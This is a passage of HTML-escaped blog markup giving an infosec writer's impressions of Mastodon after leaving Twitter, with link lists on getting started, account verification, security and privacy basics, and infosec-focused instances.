  &lt;li&gt;&lt;a href=&quot;#expanded-fediverse&quot;&gt;Expanded Fediverse&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;hr /&gt;

&lt;h1 id=&quot;my-take-on-mastodon-so-far&quot;&gt;My Take On Mastodon So Far&lt;/h1&gt;

&lt;p&gt;There is &lt;em&gt;a lot&lt;/em&gt; about &lt;a href=&quot;#mastodon&quot;&gt;Mastodon&lt;/a&gt; (and the &lt;a href=&quot;#expanded-fediverse&quot;&gt;Fediverse&lt;/a&gt;) that I have yet to learn, but what I do know is that &lt;em&gt;it&lt;/em&gt; has (pretty much) already surpassed what Twitter was to me in both personal and professional contexts. I had a Twitter account for years, and try as I might, I never felt quite &lt;em&gt;comfortable&lt;/em&gt; being anything more than a passive consumer - a lurker of those in the #infosectwitter community who had big followings. Though there was of course a decent amount of discussion/engagement within the infosec Twitter world, it often seemed to me very clique-ey, reserved only to those with big followerships or with well-known personas and established circles. I also always had the sense that trying to cultivate a following on Twitter was, &lt;em&gt;sorta cringey&lt;/em&gt;. People there seemed more interested in boosting their follower counts or their follower-to-following ratio than expanding their true community. This feeling was ever-perpetuated by the constant deluge of tweets sounding off about how many followers they had, or how close they were to a certain follower threshold, etc…&lt;/p&gt;

&lt;p&gt;Look, &lt;em&gt;I get it&lt;/em&gt; - I have a &lt;a href=&quot;https://shellsharks.com/&quot;&gt;blog&lt;/a&gt;, a &lt;a href=&quot;https://shellsharks.com/podcast&quot;&gt;podcast&lt;/a&gt;, I understand why people &lt;em&gt;crave&lt;/em&gt; followers. It’s the &lt;em&gt;engagement&lt;/em&gt; I am after though, not so much just having my tweets/toots/posts/&lt;em&gt;stuff&lt;/em&gt; show up in a lot of people’s timelines. I genuinely enjoy sharing my thoughts/ideas, and even moreso hearing/learning from others. Naturally, a good way to create this engagement is to network, follow a lot of people and of course, have others “follow” me. I never had a big following on Twitter (~190ish as of the last time I looked), and I never got much engagement there (partially because I rarely posted). I’ve been on Mastodon for nearly 2 weeks and already I’ve seen &lt;em&gt;much&lt;/em&gt; better engagement (and I am not alone). Maybe it’s the novelty factor, or maybe it’s because it hasn’t had time to turn into a toxic stew, it could be because I am more actively engaging. I’m not really sure yet, but what I do know is the &lt;strong&gt;vibe&lt;/strong&gt; is different. That sense of community is definitely there and I am looking to make the most of it.&lt;/p&gt;

&lt;p&gt;&lt;em&gt;Alright&lt;/em&gt;, so I have a few other thoughts/takes on my Mastodon experience so far, and as I am want to do, I will share via a list!&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;As others have pointed out, two reasons why Twitter always felt a bit, &lt;em&gt;icky&lt;/em&gt;, was because of forced ads in your timeline and the bedeviling algorithm which fed not what &lt;em&gt;YOU&lt;/em&gt; wanted into your timeline, but what Twitter thought would yield maximum engagement, which typically meant trying to fill you with rage. Mastodon is a breath of fresh air in comparison.&lt;/li&gt;
  &lt;li&gt;I joined the &lt;a href=&quot;#infosecexchange&quot;&gt;infosec.exchange&lt;/a&gt; instance, which is relatively quite large (~24k and growing) and have &lt;a href=&quot;https://shellsharks.social/@shellsharks/following&quot;&gt;followed&lt;/a&gt; nearly 400 people so far. What I’ve seen across my home feed and the local timeline has been really great! No ads, literally just what I’ve signed up for. I’ve been consuming/scrolling most of it so far and have encountered a lot of new people and genuinely look forward to (most) of what they have to share.&lt;/li&gt;
  &lt;li&gt;Mastodon is a series of unique, &lt;a href=&quot;https://www.w3.org/TR/activitypub/&quot;&gt;networked&lt;/a&gt; &lt;a href=&quot;https://instances.social&quot;&gt;instances&lt;/a&gt;. When folks from other instances are &lt;em&gt;boosted&lt;/em&gt; into my timeline, there is a sense of excitement, of exploration. For example, if I see someone with the handle &lt;em&gt;@hax@supercyber.pizza&lt;/em&gt;, I think “wow! I’m happy to have discovered this indvidual in the wide Fediverse, and look forward to what they post/boost into my timeline”. That hunger to follow, to connect moreso than “get followers” is really great. I have this desire to collect as many cool instances and awesome people as I can into my &lt;a href=&quot;https://shellsharks.social/@shellsharks/following&quot;&gt;following list&lt;/a&gt;.&lt;/li&gt;
  &lt;li&gt;If you want people to follow you, or engage with you, I highly recommend spending some time to tell people what you’re all about in your &lt;a href=&quot;https://shellsharks.social/@shellsharks/&quot;&gt;account profile&lt;/a&gt;. Also, toss a picture of some kind in there. Anything will do.&lt;/li&gt;
  &lt;li&gt;Each instance will likely have its own culture, traditions and of course rules. Spend some time trying to figure out what those are, and leverage the &lt;a href=&quot;https://docs.joinmastodon.org/user/posting/#cw&quot;&gt;content warning&lt;/a&gt; (CW) feature to try and be a little less offensive. &lt;em&gt;It’s not hard to do&lt;/em&gt;!&lt;/li&gt;
  &lt;li&gt;Being on an instance which has a population that best shares your personal/professional interests will give you a &lt;a href=&quot;https://docs.joinmastodon.org/methods/timelines/&quot;&gt;local timeline&lt;/a&gt; that will help you find people to follow and consume your posts. This is true. &lt;em&gt;But&lt;/em&gt;! With a little effort, you can, regardless of what instance you are on, curate a following of people &lt;em&gt;across&lt;/em&gt; instances, building a home timeline that is perfect for you, void of ads or algorithmic influences. This feed/timeline will continue to grow and mature thanks to the boosts and discussions of those you follow and engage with. So spend less time trying to find the perfect instance, and more time building that list.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;If there is any drawback to Mastodon so far that I have seen, it is the lack of full-text search (for privacy reasons). This makes some of the intel-gathering I used to do on Twitter a bit more difficult (I’m not the only one with this sentiment). One frequent use-case was to search for info on CVEs (e.g. PoCs, research, etc…). To address this concern, the &lt;a href=&quot;#infosec-community&quot;&gt;infosec community&lt;/a&gt; on Mastodon has been putting their heads together on how best to use hashtags to make intel-gathering possible on Mastodon. &lt;sup&gt;&lt;a href=&quot;https://infosec.exchange/@shellsharks/109312621380439732&quot;&gt;1&lt;/a&gt;, &lt;a href=&quot;https://infosec.exchange/@_mattata/109344401551654192&quot;&gt;2&lt;/a&gt;, &lt;a href=&quot;https://fosstodon.org/@mttaggart/109349346996034218&quot;&gt;3&lt;/a&gt;&lt;/sup&gt;&lt;/p&gt;

&lt;hr /&gt;

&lt;h1 id=&quot;mastodon&quot;&gt;Mastodon&lt;/h1&gt;

&lt;h2 id=&quot;intro-to-mastodon&quot;&gt;Intro to Mastodon&lt;/h2&gt;

&lt;p&gt;To avoid writing a regurgitated “&lt;em&gt;how to get started w/ Mastodon&lt;/em&gt;” section, I’m going to first just link to the &lt;a href=&quot;https://www.wired.com&quot;&gt;Wired&lt;/a&gt; article on this - &lt;strong&gt;&lt;a href=&quot;https://www.wired.com/story/how-to-get-started-use-mastodon/&quot;&gt;How to Get Started on Mastodon&lt;/a&gt;&lt;/strong&gt;. Again, I want to emphasize - try not to stress too much on what “instance” you choose. This should only really affect your “local” timeline, not your ability to follow those anywhere, on any instance (unless you wish to follow the &lt;a href=&quot;https://www.secjuice.com/mastodon-child-porn-pedophiles/&quot;&gt;dregs&lt;/a&gt; of the &lt;a href=&quot;#expanded-fediverse&quot;&gt;Fediverse&lt;/a&gt; that tend to get de-&lt;a href=&quot;https://www.jwz.org/blog/2022/11/mastodon-and-federation/&quot;&gt;federated&lt;/a&gt; from the upstanding servers). Alternatively, for those that are adventurous, have some free time and are relatively tech savvy, &lt;a href=&quot;#hosting-a-mastodon-instance&quot;&gt;hosting your own instance&lt;/a&gt; on a vanity domain is another option! If you don’t end up liking an instance you’ve landed on, check out &lt;a href=&quot;https://blog.joinmastodon.org/2019/06/how-to-migrate-from-one-server-to-another/&quot;&gt;how to migrate from one server to another&lt;/a&gt;. &lt;em&gt;OK&lt;/em&gt;, that out of the way, here’s a list of other Mastodon stuff…&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;Find an instance via &lt;a href=&quot;https://instances.social&quot;&gt;instances.social&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://fedi.tips/how-to-use-mastodon-and-the-fediverse-basic-tips/&quot;&gt;How To Use Mastodon and the Fediverse&lt;/a&gt; via &lt;a href=&quot;https://fedi.tips&quot;&gt;Fedi.Tips&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;Some general &lt;a href=&quot;https://infosec.exchange/@chrisabides/109309319819177873&quot;&gt;Mastodon etiquette&lt;/a&gt; from &lt;a href=&quot;https://infosec.exchange/@chrisabides&quot;&gt;@chrisabides@infosec.exchange&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://escapingtech.com/tech/guides/a-twitter-users-guide-to-mastodon.html&quot;&gt;A Twitter User’s Guide to Mastodon&lt;/a&gt; from &lt;a href=&quot;https://mastodon.social/@malwaretech&quot;&gt;Marcus Hutchins&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://infosec.exchange/@Em0nM4stodon/109323504324459171&quot;&gt;Tips for Mastodon newcomers&lt;/a&gt; from &lt;a href=&quot;https://infosec.exchange/@Em0nM4stodon&quot;&gt;@Em0nM4stodon@infosec.exchange&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://mastodon.ie/@klillington/109287983727726762&quot;&gt;Useful Mastodon guides&lt;/a&gt; courtesy of &lt;a href=&quot;https://mastodon.ie/@klillington&quot;&gt;@klillington@mastodon.ie&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://mastodon.help&quot;&gt;Mastodon.help&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://patricia.no/2022/11/18/twitter_off_ramp.html&quot;&gt;A Twitter Off Ramp&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://2ality.com/2022/10/mastodon-getting-started.html&quot;&gt;Getting started with Mastodon&lt;/a&gt; per &lt;a href=&quot;https://fosstodon.org/@rauschma/109347957045367913&quot;&gt;@rauschma@fosstodon.org&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;Some more &lt;a href=&quot;https://mastodon.social/@davewalker/109325307961318659&quot;&gt;Mastodon tips&lt;/a&gt; from &lt;a href=&quot;https://mastodon.social/@davewalker&quot;&gt;@davewalker@mastodon.social&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://ajroach42.com/what-everyone-seems-to-get-wrong-about-mastodon/&quot;&gt;What Everyone Seems to Get Wrong About Mastodon&lt;/a&gt; per &lt;a href=&quot;https://retro.social/@ajroach42/109331218298356096&quot;&gt;@ajroach42@retro.social&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://patricia.no/2022/11/18/mastodon_migration.html&quot;&gt;Mastodon migration, moving to a new server&lt;/a&gt; per &lt;a href=&quot;https://social.vivaldi.net/@Patricia/109395204448620858&quot;&gt;@Patricia@vivaldi.net&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://arstechnica.com/gadgets/2022/12/mastodon-highlights-pros-and-cons-of-moving-beyond-big-tech-gatekeepers/&quot;&gt;Mastodon–and the pros and cons of moving beyond Big Tech gatekeepers&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://mattbrown.dev/mastodon/&quot;&gt;How to talk to your relatives about Mastodon&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://controlaltdelete.technology/articles/the-mastodons-guide-to-the-fediverse.html&quot;&gt;The Mastodon’s Guide to the Fediverse&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://zenodo.org/records/14170125&quot;&gt;Mastodon Quick Start Guide&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Quick (I promise) rundown of Mastodon verbiage/mechanics…&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;&lt;strong&gt;Posts&lt;/strong&gt; &lt;del&gt;are&lt;/del&gt; &lt;a href=&quot;https://gizmodo.com/mastodon-toot-retired-twitter-tweet-equivalent-1849786221&quot;&gt;were&lt;/a&gt; “&lt;strong&gt;Toots&lt;/strong&gt;”, now they’re just “posts”. Ask your instance admin to &lt;a href=&quot;https://git.disroot.org/badrihippo/tootify&quot;&gt;tootify&lt;/a&gt; the server if you miss tootin’ (via &lt;a href=&quot;https://fosstodon.org/@benjaminhollon/109355527163671306&quot;&gt;@benjaminhollon@fosstodon.org&lt;/a&gt;)&lt;/li&gt;
  &lt;li&gt;A re-post (or re-tweet) is a “&lt;strong&gt;Boost&lt;/strong&gt;”. &lt;a href=&quot;https://mastodon.social/@Gargron/99662106175542726&quot;&gt;There is no quote-boost&lt;/a&gt;, so don’t ask. Boosting helps propagate stuff you like to all your followers and to your local timeline. This helps get stuff out to other instances. &lt;em&gt;Boosts are good&lt;/em&gt;.&lt;/li&gt;
  &lt;li&gt;A “&lt;strong&gt;Star&lt;/strong&gt;” simply communicates to the OP, “I like that”. It has no effect on anything else. So &lt;em&gt;star star star&lt;/em&gt; away!&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;Lists&lt;/strong&gt; exist.&lt;/li&gt;
  &lt;li&gt;Unlike Twitter, Mastodon has no full-text search. It instead relies on &lt;strong&gt;hashtags&lt;/strong&gt;. So use those liberally where applicable. You can also follow hashtags. (per &lt;a href=&quot;https://infosec.exchange/@tinker/109330871957962166&quot;&gt;@tinker@infosec.exchange&lt;/a&gt;)&lt;/li&gt;
  &lt;li&gt;The consensus seems to be that the first-party Mastodon client is bad. Try some of these other apps instead…
    &lt;ul&gt;
      &lt;li&gt;&lt;a href=&quot;https://apps.apple.com/us/app/metatext/id1523996615&quot;&gt;Metatext&lt;/a&gt; for iOS&lt;/li&gt;
      &lt;li&gt;&lt;a href=&quot;https://play.google.com/store/apps/details?id=app.fedilab.android&amp;amp;hl=en_US&amp;amp;gl=DE&amp;amp;pli=1&quot;&gt;Fedilab&lt;/a&gt; for Android&lt;/li&gt;
      &lt;li&gt;&lt;a href=&quot;https://git.shadowfacts.net/shadowfacts/Tusker&quot;&gt;Tusker&lt;/a&gt; (from &lt;a href=&quot;https://infosec.exchange/@jxhn/109337746209475152&quot;&gt;@jxhn@infosec.exchange&lt;/a&gt;)&lt;/li&gt;
    &lt;/ul&gt;
  &lt;/li&gt;
  &lt;li&gt;One cool thing you can do via Mastodon is retrieve a &lt;a href=&quot;https://infosec.exchange/@SteveD3/109345603084458028&quot;&gt;.rss feed of an account’s posts&lt;/a&gt; per &lt;a href=&quot;https://infosec.exchange/@SteveD3&quot;&gt;@SteveD3@infosec.exchange&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Now get out there and &lt;a href=&quot;https://infosec.exchange/@tinker/109321493379634906&quot;&gt;toot to your hearts content&lt;/a&gt;!&lt;/p&gt;

&lt;h2 id=&quot;verification&quot;&gt;Verification&lt;/h2&gt;

&lt;p&gt;&lt;a href=&quot;https://docs.joinmastodon.org/user/profile/#verification&quot;&gt;Mastodon has a verification capability&lt;/a&gt;, though it differs from what Twitter traditionally offered. Essentially, you can establish a “verified” relationship between your Mastodon account and other third-party endpoints, such as a website. What this can prove is that, for example, the identity/person behind the &lt;a href=&quot;https://shellsharks.social/@shellsharks&quot;&gt;@shellsharks@sehllsharks.social&lt;/a&gt; Mastodon account is the same person who runs &lt;a href=&quot;https://shellsharks.com/&quot;&gt;shellsharks.com&lt;/a&gt;. Some other verification related resources are provided below.&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;Thoughts on &lt;a href=&quot;https://infosec.exchange/@barubary/109324210823125234&quot;&gt;Mastodon verification&lt;/a&gt; from &lt;a href=&quot;https://infosec.exchange/@barubary/&quot;&gt;@barubary@infosec.exchange&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;How to verify your GitHub via a &lt;a href=&quot;https://infosec.exchange/@SeanWrightSec/109315775506958979&quot;&gt;thread&lt;/a&gt; on &lt;a href=&quot;infosec.exchange&quot;&gt;infosec.exchange&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://keyoxide.org&quot;&gt;KeyOxide&lt;/a&gt; - A privacy-friendly tool to create and verify decentralized online identities. For help using KeyOxide on Mastodon, check out &lt;a href=&quot;https://infosec.exchange/@projectdp/109338598390126219&quot;&gt;this thread&lt;/a&gt; per &lt;a href=&quot;https://infosec.exchange/@projectdp&quot;&gt;@projectdp@infosec.exchange&lt;/a&gt; or &lt;a href=&quot;https://law.builders/@IntlLawGnome/109345853950652817&quot;&gt;this from @IntlLawGnome@law.builders&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;If &lt;a href=&quot;https://keybase.io&quot;&gt;Keybase&lt;/a&gt; is your jam, check out &lt;a href=&quot;https://0x58.medium.com/create-a-verified-keybase-link-on-your-mastodon-profile-218c17e5e28c&quot;&gt;this article on Keybase verification&lt;/a&gt; or this &lt;a href=&quot;https://wiki.infosec.exchange/faq/verification/keybase_io&quot;&gt;infosec.exchange wiki article on Keybase verification&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;For WordPress users, check out &lt;a href=&quot;https://www.tindrasgrove.com/2022/11/mastodon-wordpress-and-verification/&quot;&gt;Mastodon, WordPress, and Verification&lt;/a&gt; per &lt;a href=&quot;https://infosec.exchange/@TindrasGrove/109331180844495978&quot;&gt;@TindrasGrove@infosec.exchange&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;For a Twitter-similar, centralized “verification” offering, check out &lt;a href=&quot;https://fedified.com&quot;&gt;Fedified&lt;/a&gt; (via &lt;a href=&quot;https://infosec.exchange/@gossithedog/109349904070905858&quot;&gt;@gossithedog@infosec.exchange&lt;/a&gt;)&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://webmasters.stackexchange.com/questions/140821/using-rel-me-on-wix-hosted-site&quot;&gt;Using rel=”me” on Wix-hosted site&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;h2 id=&quot;security--privacy&quot;&gt;Security &amp;amp; Privacy&lt;/h2&gt;

&lt;p&gt;Is &lt;a href=&quot;#mastodon&quot;&gt;Mastodon&lt;/a&gt; secure? Is my data private? Is it more secure than Twitter? (these days, &lt;a href=&quot;https://www.cnn.com/2022/08/23/tech/twitter-whistleblower-peiter-zatko-security/index.html&quot;&gt;almost assuredly&lt;/a&gt;). How can I best lock down my Mastodon account(s)? All great questions. I’ll share a list of articles that best answer these questions but first, some basic security/privacy hygiene advice. &lt;strong&gt;Use a strong/unique password&lt;/strong&gt;, &lt;strong&gt;&lt;a href=&quot;https://docs.joinmastodon.org/user/contacts/#account&quot;&gt;enable 2FA&lt;/a&gt;&lt;/strong&gt;, understand that your instance admin has access to your data.&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;&lt;a href=&quot;https://www.eff.org/deeplinks/2022/11/mastodon-private-and-secure-lets-take-look&quot;&gt;Is Mastodon Private and Secure?&lt;/a&gt; via &lt;a href=&quot;https://www.eff.org/&quot;&gt;EFF.org&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://grahamcluley.com&quot;&gt;Graham Cluley’s&lt;/a&gt; take on &lt;a href=&quot;https://grahamcluley.com/mastodon-what-you-need-to-know-for-your-security-and-privacy/&quot;&gt;security and privacy&lt;/a&gt; on Mastodon&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://techpolicy.press/can-mastodon-survive-europes-digital-services-act/&quot;&gt;Can Mastodon Survive Europe’s Digital Services Act?&lt;/a&gt; per &lt;a href=&quot;https://federate.social/@profcarroll/109353950776860720&quot;&gt;@profcarroll@federate.social&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://freeradical.zone/@missiggeek/109348559768938197&quot;&gt;GDPR and Mastodon&lt;/a&gt;, analysis by &lt;a href=&quot;https://freeradical.zone/@missiggeek&quot;&gt;@missiggeek@freeradical.zone&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;(&lt;a href=&quot;https://gdpr-info.eu&quot;&gt;GDPR&lt;/a&gt;-related) &lt;a href=&quot;https://sciences.re/ropa/&quot;&gt;Record of Processing Activities&lt;/a&gt; per &lt;a href=&quot;https://social.sciences.re/@RGrunblatt/109342061792478407&quot;&gt;@RGrunblatt@sciences.re&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;The venerable &lt;a href=&quot;https://portswigger.net&quot;&gt;PortSwigger&lt;/a&gt; has already gone to work &lt;a href=&quot;https://portswigger.net/research/stealing-passwords-from-infosec-mastodon-without-bypassing-csp&quot;&gt;bug hunting Mastodon&lt;/a&gt; (&lt;a href=&quot;https://portswigger.net/daily-swig/mastodon-users-vulnerable-to-password-stealing-attacks&quot;&gt;The Daily Swig&lt;/a&gt;). Point being, vulns do exist. &lt;em&gt;Stay frosty&lt;/em&gt;&lt;/li&gt;
  &lt;li&gt;For those interested in &lt;a href=&quot;https://infosec.exchange/@tinker/109349249316218078&quot;&gt;TOTP MFA on desktop&lt;/a&gt; (per &lt;a href=&quot;https://infosec.exchange/@tinker&quot;&gt;@tinker@infosec.exchange&lt;/a&gt;)&lt;/li&gt;
  &lt;li&gt;Private messaging is &lt;strong&gt;not&lt;/strong&gt; recommended on Mastodon. For this, other options are available, as discussed by &lt;a href=&quot;https://mastodon.social/@atomicpoet/109328033127146253&quot;&gt;@atomicpoet@mastodon.social&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://fossacademic.tech/2022/10/18/notesOnNobreEtAl.html&quot;&gt;More Mastodon Scraping without Consent&lt;/a&gt; per &lt;a href=&quot;https://scholar.social/@robertwgehl/109332710012353135&quot;&gt;@robertwgehl@scholar.social&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;For those interested in security testing a live Mastodon instance, check out &lt;a href=&quot;https://cybervillains.com/explore&quot;&gt;cybervillains.com&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://sts10.github.io//2022/11/12/mastodon-2fa-security-key.html&quot;&gt;How to use a security key as two-factor authentication on your Mastodon account&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;hr /&gt;

&lt;h1 id=&quot;infosec-community&quot;&gt;Infosec Community&lt;/h1&gt;

&lt;p&gt;I have used Twitter for years, as there was a relatively vibrant &lt;a href=&quot;https://infosec.exchange/tags/infosec&quot;&gt;#infosec&lt;/a&gt; community that shared research, articles, etc… With the &lt;a href=&quot;#twitter-migration&quot;&gt;meltdown of Twitter&lt;/a&gt;, it seems the infosec-Twitter diaspora has gone full-force and we (as a community) now primarily exist across a &lt;a href=&quot;#infosec-instances&quot;&gt;variety of Mastodon instances&lt;/a&gt;. The community that has developed, and the speed at which it has developed, has been truly astounding to behold. For my part, &lt;a href=&quot;https://shellsharks.social/@shellsharks&quot;&gt;I&lt;/a&gt; joined &lt;a href=&quot;#infosecexchange&quot;&gt;infosec.exchange&lt;/a&gt;.&lt;/p&gt;

&lt;p&gt;If you’re looking to find others in the infosec world on Mastodon…&lt;/p&gt;
&lt;ul&gt;
  &lt;li&gt;Gsheet with a &lt;a href=&quot;https://docs.google.com/spreadsheets/d/1t13k5_cNhP9_TgoUmqDZk2ROkWkF6Bg3O5269vKIqWw/htmlview&quot;&gt;mapping of Twitter–&amp;gt;Mastodon&lt;/a&gt; accounts&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://tisiphone.net/2022/11/10/infosec-mastodon-lists/&quot;&gt;Infosec Mastodon Lists!&lt;/a&gt; from &lt;a href=&quot;https://tisiphone.net/&quot;&gt;tisiphone.net&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;Or join an open &lt;a href=&quot;#infosec-instances&quot;&gt;infosec instance&lt;/a&gt; and just start following people! &lt;strong&gt;Pro tip&lt;/strong&gt;: you can (for open instances) view the local timeline for any instance, whether you are a member or not&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;I’ve written up a quite note - a “&lt;a href=&quot;https://shellsharks.com/notes/2023/10/20/infosec-mastodon-starter-pack&quot;&gt;starter pack&lt;/a&gt;” - for those new to Mastodon. It includes some bonus info for &lt;em&gt;infosec&lt;/em&gt; folks.&lt;/p&gt;

&lt;h2 id=&quot;infosecexchange&quot;&gt;infosec.exchange&lt;/h2&gt;

&lt;p&gt;&lt;a href=&quot;infosec.exchange&quot;&gt;infosec.exchange&lt;/a&gt; is described as “&lt;em&gt;a Mastodon instance for info/cyber security-minded people.&lt;/em&gt;” No better way to describe it! It was stood up and is admin’ed by &lt;a href=&quot;https://infosec.exchange/@jerry&quot;&gt;Jerry Bell&lt;/a&gt; (host of the &lt;a href=&quot;https://defensivesecurity.org&quot;&gt;Defensive Security Podcast&lt;/a&gt; and seemingly trustworthy infosec fella.) So far, the experience as a member of this server has been great. The community is &lt;em&gt;very&lt;/em&gt; infosec-ey, friendly and growing quickly. Some other cool tidbits on infosec.exchange have been provided below…&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;There is an &lt;a href=&quot;https://wiki.infosec.exchange&quot;&gt;infosec.exchange wiki&lt;/a&gt;!&lt;/li&gt;
  &lt;li&gt;Currently, infosec.exchange supports &lt;strong&gt;11k word&lt;/strong&gt; posts. ELEVEN THOUSAND! Plenty of elbow room&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;#hosting-a-mastodon-instance&quot;&gt;Running a Mastodon instance&lt;/a&gt;, and doing it as well as Jerry has takes time, expertise, patience and money. To help out, consider contributing via &lt;a href=&quot;https://liberapay.com/Infosec.exchange/&quot;&gt;liberapay&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;Anecdotally (and from multiple accounts I have seen from infosec.exchange members so far), engagement on posts/polls/replies has been outstanding - easily outpacing what others saw on Twitter, even with much more massive follower counts&lt;/li&gt;
  &lt;li&gt;infosec.exchange &lt;em&gt;very quickly&lt;/em&gt; ramped from ~300 to over 20k (24k at the time of this post) in a matter of weeks. So donate and consider configuring post auto-delete (per &lt;a href=&quot;https://infosec.exchange/@spapjh/109325460580938968&quot;&gt;@spapjh@infosec.exchange&lt;/a&gt;)&lt;/li&gt;
  &lt;li&gt;For those interested in Jerry’s stance on GDPR, check &lt;a href=&quot;https://wiki.infosec.exchange/about/data_privacy_compliance&quot;&gt;this wiki article&lt;/a&gt; (from &lt;a href=&quot;https://infosec.exchange/@jerry/109340004683906647&quot;&gt;@jerry@infosec.exchange&lt;/a&gt;)&lt;/li&gt;
&lt;/ul&gt;

&lt;h2 id=&quot;infosec-instances&quot;&gt;Infosec Instances&lt;/h2&gt;

&lt;p&gt;A running list of &lt;a href=&quot;#infosec-community&quot;&gt;infosec&lt;/a&gt;-related/adjacent Mastodon instances.&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;&lt;a href=&quot;https://infosec.exchange/&quot;&gt;infosec.exchange&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://ioc.exchange/&quot;&gt;ioc.exchange&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://securitycafe.ca/&quot;&gt;Securitycafe.ca&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://cybersecurity.masto.host/&quot;&gt;Cybersecurity.masto.host&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://cybersecurity.theater/&quot;&gt;cybersecurity.theater&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://hackers.town/&quot;&gt;hackers.town&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://freeradical.zone/&quot;&gt;freeradical.zone&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://defcon.social/explore&quot;&gt;defcon.social&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://cyberplace.social/&quot;&gt;cyberplace.social&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://noc.social&quot;&gt;noc.social&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://haunted.computer/&quot;&gt;haunted.computer&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://chaos.social/&quot;&gt;chaos.social&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://social.hackerspace.pl/&quot;&gt;social.hackerpsace.pl&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://swecyb.com/&quot;&gt;swecyb.com&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://hispagatos.space/&quot;&gt;hispagatos.space&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://infosec.town&quot;&gt;infosec.town&lt;/a&gt; (&lt;em&gt;Iceshrimp&lt;/em&gt;)&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://infosec.place/main/public&quot;&gt;infosec.place&lt;/a&gt; (&lt;em&gt;Akkoma&lt;/em&gt;)&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://infosec.space/&quot;&gt;infosec.space&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;hr /&gt;

&lt;h1 id=&quot;hosting-a-mastodon-instance&quot;&gt;Hosting a Mastodon Instance&lt;/h1&gt;

&lt;p&gt;There are plenty of great, open &lt;a href=&quot;https://instances.social&quot;&gt;instances to join&lt;/a&gt; if you are interested in &lt;a href=&quot;#mastodon&quot;&gt;Mastodon&lt;/a&gt;. But if you’re interested in hosting your own server, that too is possible! In fact, I plan on trying this out at some point. For anyone interested, and for reference myself when the time comes, here are some resources/discussions I have collected…&lt;/p&gt;

&lt;ul&gt;
